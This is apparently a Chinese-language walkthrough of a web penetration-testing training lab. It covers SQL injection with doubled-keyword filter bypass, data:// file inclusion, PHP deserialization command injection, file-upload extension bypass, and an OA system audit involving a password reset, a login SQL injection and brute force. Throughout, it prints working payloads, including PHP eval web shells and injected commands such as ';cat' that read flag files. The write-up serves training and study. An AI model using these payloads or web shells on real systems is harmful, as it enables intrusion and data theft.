• 这靶机是在 N 年前做 Web 渗透培训时候的考核靶机,最近又有用到,那正好水一篇。

SQL Injection

  • 访问关卡界面如下:

image-20240616142331694

  • 一个非常明显的 SQL Injection 场景,输入任意数字后查询即可:

image-20240616142500507

  • 经过输入尝试,可以发现如下内容:
    • 闭合类型:单引号
    • 闭合符号:#/%23-- /+
    • 过滤字符:and、or、union、select
    • 绕过方式:双写
  • 注入步骤如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 判断查询列数
?id=1' oorrder by 1 %23 # 正常
?id=1' oorrder by 2 %23 # 正常
?id=1' oorrder by 3 %23 # 报错
# 查看页面回显
?id=-1' uniunionon selselectect 1,2 %23 # 1,2 均回显
# 查看所有数据库名
?id=-1' uniunionon selselectect 1,group_concat(schema_name) from infoorrmation_schema.schemata %23 # information_schema,Flag_db,mysql,test
# 查看 Flag_db 中的所有表名
?id=-1' uniunionon selselectect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema = 'Flag_db' %23 # FlA9_t0b
# 查看 FlA9_t0b 中的字段
?id=-1' uniunionon selselectect 1,group_concat(columns_name) from infoorrmation_schema.columns where table_schema = 'Flag_db' aandnd table_name = 'FlA9_t0b' %23 # fLa9_col
# 查看 flag
?id=-1' uniunionon selselectect 1,group_concat(fLa9_col) from Flag_db.FlA9_t0b %23 # Flag{Sql_INject_IS_funny~_~}

File_include

  • 访问关卡界面如下:

image-20240616150218880

  • 可以看到一个非常明显的参数名 flag,尝试使用 PHP 伪协议:
1
http://10.10.8.13:8002/index.php?file=data:,<?php phpinfo()?>

image-20240616150319230

  • 可以看到 data 协议可以使用,说明对方设置了 allow_url_include = On,直接使用 AntSword 连接:
1
http://10.10.8.13:8002/index.php?file=data:,<?php eval($_POST[1]);?>

image-20240616151531501

  • 查找 flag:

image-20240616151551740

Unserialize

  • 访问关卡界面如下:

image-20240616151618296

  • 一个简单的反序列化题目,重点在于 call_user_func 函数,这是一个可以用于执行命令的函数。
  • 首先将 index 类进行序列化:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class index{
public $method;
public $args;
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func(array($this,$this->method), $this->args);
}
}
function ping($host){
system("ping -c 2 $host");
}
}
echo serialize(new index); // O:5:"index":2:{s:6:"method";N;s:4:"args";N;}
?>
  • 根据上述代码,得出 method 必须为 ping,args 被交由 ping() 函数执行中的 system 执行,这时可以使用连接符进行命令拼接,构造如下代码:
1
O:5:"index":2:{s:6:"method";s:4:"ping";s:4:"args";s:9:"127.0.0.1";} 

image-20240616153644249

  • 构建漏洞利用代码:
1
O:5:"index":2:{s:6:"method";s:4:"ping";s:4:"args";s:12:"127.0.0.1;ls";}

image-20240616153908289

  • 查看 flag:
1
O:5:"index":2:{s:6:"method";s:4:"ping";s:4:"args";s:30:"127.0.0.1;cat f1a9_is_here.txt";}

image-20240616153943722

File_upload

  • 访问关卡界面如下:

image-20240616161116385

  • 一个典型的文件上传界面,下方附带了关卡代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
  • 可以看出是白名单,通过各种尝试,得出特殊后缀绕过(php3、phtml…):
1
<?php echo 404;eval($_POST[1])?>

image-20240616161457683

  • 成功找到 flag。

Hack a OA SYSTEM

  • 访问关卡界面如下:

image-20240616161543197

  • 下载 OA 源码,分析源码,得出以下几个漏洞。

Unserialize

  • 发现一个 test.php 文件,内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

class test{

public $method;
public $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}

function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}

function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
}
}
}
$a=@$_POST['a'];
@unserialize($a);
?>
  • 查看源码,发现与前面 Unserialize 的代码类似,但是存在有不同之处:
1
2
3
4
5
6
7
# 这里是
call_user_func_array()

# 上面是
call_user_func()

# 一个提交的是数组函数,一个单一函数
  • 一样先将其反序列化:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class test{
public $method;
public $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}

function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}

function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
}
}
}
echo serialize(new test()); //O:4:"test":2:{s:6:"method";N;s:4:"args";N;}
?>
  • 构建漏洞代码(args 需要是数组):
1
2
# echo serialize(array("127.0.0.1"));
O:4:"test":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:9:"127.0.0.1";}}

image-20240616162705067

  • 这时候就可以使用命令连接符进行命令拼接,但是查看源码里有个 WAF 函数,过滤了空格,无法实现返回上级,通过页面提示,flag 文件在系统根目录下:
1
a=O:4:"test":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:23:"127.0.0.1;cat</f1a9.txt";}}

image-20240616162848393

DatabaseConfig.php

  • 在 config.php 中发现了数据库连接文件:
1
2
3
4
5
6
7
8
9
<?php
define("DBHOST","127.0.0.1");
define('DBUSER','root');
define('DBPASS','root');
define('DBNAME','oa');
define('ROOTDRI',__DIR__."/../");
require(ROOTDRI.'/org/smarty/Smarty.class.php');
session_start();
?>
  • 但是数据库连接不上,因为靶机 Docker 并未开放对应数据库端口。

File_upload(1)

  • 在 File.php 中发现了文件上传代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

class File{
private $typelist;
private $allowexten;
private $path;
function __construct(){
if (!isset($_SESSION['username'])){
exit("not login");
}
$this->typelist==array("image/jpeg","image/jpg","image/png","image/gif");
$this->notallow=array("php", "php5", "php3", "php4", "php7", "pht", "phtml", "htaccess","html", "swf", "htm");
$this->path='./upload';
}

function save(){
$username=$_SESSION['username'];
$upfile=$_FILES['pic'];
$fileinfo=pathinfo($upfile["name"]);
if(in_array($fileinfo["extension"],$this->notallow)){
exit('error');
}
$path='./upload/'.$username."_".$fileinfo["filename"].".".$fileinfo["extension"];
if (file_exists($path)){
exit("file already exists");
}
if(move_uploaded_file($upfile['tmp_name'], $path)){
return True;
}else{
return False;
}
}
}
?>
  • 发现其过滤规则,但文件上传需要对应上传点,所以需要先注册一个用户:
1
2
3
if (!isset($_SESSION['username'])){
exit("not login");
}

image-20240616165440190

image-20240616165525144

  • 但是上传时会发现怎么上传都是失败,经查看是 User.php 调用了 File.php 文件:
1
2
3
4
5
6
7
8
9
10
11
function upload(){
if(isset($_SESSION['username']) and $_SESSION['username']==="admin"){
include_once __DIR__."/File.php";
$up=new File();
if($up->save()){
$this->tp->display("success.tpl");
}
}else{
$this->tp->display("error.tpl");
}
}
  • 查看 User.php 源码发现限制了上传,因为 username 必须为 admin。

Code Audit

  • 上传要求必须为 admin,看看能不能修改 admin 的密码:
1
2
3
4
5
6
7
8
9
10
11
function upload(){
if(isset($_SESSION['username']) and $_SESSION['username']==="admin"){
include_once __DIR__."/File.php";
$up=new File();
if($up->save()){
$this->tp->display("success.tpl");
}
}else{
$this->tp->display("error.tpl");
}
}
  • 查看 index.php 页面源码,发现有两个函数 run_c、run_a,且当 c 参数的值为空就以 User 为默认值,当 a 参数为空就以 Index 为默认值:
1
2
3
4
5
6
7
8
9
10
11
<?php
include "./common/function.php";
include "./include/config.php";
include "./lib/base.php";

$c=isset($_GET['c'])?$_GET['c']:'User';
$a=isset($_GET['a'])?$_GET['a']:'Index';

$obj=run_c($c);
run_a($obj,$a);
?>
  • 看看这两个函数的作用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function run_c($class){
if ( !preg_match('/^\w+$/', $class) or (!file_exists(ROOTDRI."/lib/".$class.".php")) ){
exit('hack');
}else{
include "./lib/".$class.".php";
return new $class;
}
}

function run_a($obj,$action){
if ( !preg_match('/^\w+$/', $action) or !method_exists($obj,$action) ){
exit('hack');
}else{
eval('$obj->'.$action.'();');
}
}
?>
  • 当 C 值为空时,包含 include "./lib/".User.".php",进入 lib/User.php,发现有一个更新密码的函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class User extends base{
......
function updatepass(){
if (!empty($_POST['username']) and !empty($_POST['password'])){
$username=addslashes($_POST['username']);
$password=md5($_POST['password']);
$sql="update user set password='$password' where username='$username' ";
if (mysql_query($sql)){
$this->tp->display("success.tpl");
}
}
}
}
?>
  • 发现是直接接收 username 与 password 的值,并没有进行二次校验/过滤。
  • 构造 Payload:
1
2
3
4
5
6
7
# 两个参数
?c=User&a=updatepass
# 一个参数
?a=updatepass

# POST
username=admin&password=123456

image-20240616171901017

  • 修改成功~,可以成功登录。

SQL Injection

万能密码

  • 在登录时抓包发现存在有万能密码:
1
username=admin'-- &password=123456

image-20240616170034373

SQLMap

  • 保存上述 HTTP 请求报文,使用 SQLMap 工具跑一下:

image-20240616170401405

  • 存在布尔盲注和时间盲注,深入查找数据:

image-20240616170526800

  • 得出管理员账号密码:admin/admin888。

暴力破解

  • 既然存在有登录框,已知用户名是 admin,而且没有验证码和次数限制,那就直接使用 BurpSuite 进行暴力破解:

注:BurpSuite 默认的密码字典爆不出来,需要手动添加字典。

image-20240616172108709

image-20240616172456811

  • 得出密码是:admin888

File_upload(2)

  • 根据之前的漏洞利用,已经得出管理员账号密码为:admin/admin888。
  • 登录查看内容:

image-20240616172755165

  • 只有一个文件上传点,查看文件上传的源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class File{
private $typelist;
private $allowexten;
private $path;
function __construct(){
if (!isset($_SESSION['username'])){
exit("not login");
}
$this->typelist==array("image/jpeg","image/jpg","image/png","image/gif");
$this->notallow=array("php", "php5", "php3", "php4", "php7", "pht", "phtml", "htaccess","html", "swf", "htm");
$this->path='./upload';
}
function save(){
$username=$_SESSION['username'];
$upfile=$_FILES['pic'];
$fileinfo=pathinfo($upfile["name"]);
if(in_array($fileinfo["extension"],$this->notallow)){
exit('error');
}
$path='./upload/'.$username."_".$fileinfo["filename"].".".$fileinfo["extension"];
if (file_exists($path)){
exit("file already exists");
}
if(move_uploaded_file($upfile['tmp_name'], $path)){
return True;
}else{
return False;
}
}
}
?>
  • 分析源码可得出如下结果:
1
2
3
4
5
6
7
8
9
10
11
12
# 允许上传的 MIME 类型
array("image/jpeg","image/jpg","image/png","image/gif")

# 不允许上传的后缀名
array("php", "php5", "php3", "php4", "php7", "pht", "phtml", "htaccess","html", "swf", "htm");

# 文件上传的保存路径为
./upload

# 存放的文件名为
$username."_".$fileinfo["filename"].".".$fileinfo["extension"]
admin_xxx.xxx
  • 可以使用大小写上传文件,最后连接木马:

image-20240616180336650